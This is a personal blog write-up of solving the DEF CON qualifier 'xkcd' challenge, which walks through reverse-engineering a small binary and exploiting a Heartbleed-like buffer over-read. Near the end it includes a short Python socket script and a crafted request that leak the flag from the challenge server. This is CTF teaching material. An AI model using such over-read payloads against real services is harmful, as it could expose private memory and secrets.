After a friday at work, I took the subway home to have a nights rest before the weekend I intended to spend hacking on the defcon qualifier challenges. I got home and jumped on my laptop – the competition started at 8pm NYC time thanks to timezone differences, so thought I’d see what was likely to be lined up in terms of challenges.
Logging into the legitBS site, I noticed a few Baby’s First challenges available, so I clicked through each having a look at what they might entail. The last was named xkcd, and being a fan of the comic I took a look.
xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me:1354 Might want to read that comic as well… 1354
The XKCD comic is this one: https://xkcd.com/1354/
So, the challenge likely has something to do with reading memory. I decided to take quick look at the binary to see what might be involved, and a while later I’d solved it.
First off, I ran
file on the binary to see what it likely was:
rook:defcon_ctf tecnik$ file ~/Downloads/xkcd /Users/tecnik/Downloads/xkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
Much to my happiness, not some less-common architecture or highly packed binary. Not even stripped. I decided to take a peek in IDA..
The program was very small, with only a few basic blocks in the main function.
In the above block of code we call
setvbuf() for stdout and stdin, call
bzero() on a buffer which points to a location in which we eventually read our flag (annotated here as ‘flag_buf’) to clear the memory, and then open a file whose name is ‘flag’. In the last line we test whether the open was a success or not.
I followed along to see what happens with the opened flag file.
fopen64() call succeeds, 0x100 bytes (256) is read from the ‘flag’ file into the .bss segment buffer pointed to by flag_buf. Nothing interesting happens if the
fopen64() of the flag file fails.
fread(), we drop into this block:
The first call is to
fgetln() which reads data from stdin, with a pointer to the read data returning in the rax register. This is fed into
strtok() to grab the first token leading up to the ‘?’ character.
A call to a function which (I confess I didn’t look at but made too much sense) looked like
strcmp() checked that the first token from
fgetln() matched “SERVER, ARE YOU STILL THERE”. If it’s not, we exit.
This is where I remembered the XKCD comic (https://xkcd.com/1354/). The comic repeatedly uses the following string to demonstrate a request to a remote server:
SERVER, ARE YOU STILL THERE? IF SO, “POTATO” (6 LETTERS)
On to the next block of code:
Here, we perform another
strtok(), sending in NULL as the buffer pointer, signifying we’re continuing along the string, but this time looking for a ” character as the end of token.
strcmp() this against ” IF SO, REPLY “, which perfectly matches our xkcd cartoon. Again, if this string doesn’t match, the program sends back an error message (MALFORMED REQUEST) and bails out.
The program performs another
strtok(), this time collecting all the data leading up to the ” character again. A pointer to this token string is put on the stack and we also run a
strlen() across it to see how long it is.
The next call is to
memcpy(), and we’re copying the tokenized string that existed between the two ” characters into a global buffer known in this binary as ‘globals’. The length we
memcpy() is taken from the previous strlen.
The next call out is to
strtok() again, this time we’re grabbing the string that exists leading up to the ( character. As you’ll see in the final screenshot, that string is discarded – we’re just moving along.
Final basic block:
strtok() call reads everything up until a ) character is encountered. The call following this is to
__isoc99_sscanf(), which is using our token value as input, a scanf string of ‘%d LETTERS’ as a format specifier, and a single pointer into our stack frame as the destination of integer read specified in the format string.
Or more simply, we’re grabbing the 6 from (6 LETTERS) as per the xkcd cartoon.
Whatever number value we send in as the LETTERS variable is then used to pop a NULL into the globals buffer to terminate the string.
Finally, we run a strlen of our globals buffer. If the length we’ve specified in the LETTERS variable is equal or less than the data we put in the globals buffer, we jump to a block which calls
puts() to print out the globals buffer. If we’ve put a larger value in in LETTERS than the length of the data in globals, an error message ‘NICE TRY’ is printed.
At this point I start testing against the remote hostname we were given, sending the following payloads:
> SERVER, ARE YOU STILL THERE? IF SO, REPLY “POTATO” (6 LETTERS) < POTATO > SERVER, ARE YOU STILL THERE? IF SO, REPLY “POTATO” (3 LETTERS) < POT > SERVER, ARE YOU STILL THERE? IF SO, REPLY “POTATO” (10 LETTERS) < NICE TRY > CHOCOCOLATE FISH < MALFORMED REQUEST
Interesting. Being such a small binary mean that the answer was likely pretty straight-forward.
— Burger and whiskey break —
Ok, so in order to hit the
puts() call and print out data, we need to ensure the last jump is taken, meaning that the LETTERS value we send in cannot be more than the length of the globals buffer. We control where the NULL is written into the globals buffer, so as long as there are no other NULL values, we can read as long as we want.
The problem is, the buffer has 256 bytes of
bzero()’d data. But what lies beyond?
Taking a look in IDA, we see that right after the globals buffer is the ‘flag_buf’ we read in earlier. Excellent.
If we send in enough data to fill up the globals buffer so that it flows directly on to the flag buffer, then request a length via the LETTERS variable that exceeds the data we sent, we should be able to over-read. I tried it using the following python code:
#!/usr/bin/env python import socket import sys BUFLEN=512 s1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s1.connect(('xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me',1354)) send_str = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "'+('A'*BUFLEN)+'" (540 LETTERS)\n' s1.send(send_str) resp = s1.recv(1024) print resp[BUFLEN:]
And sure enough:
rook:defcon_ctf tecnik$ ./xkcd.py The flag is: bl33ding h34rt5
I jumped back on the LegitBS panel and popped it in for the win.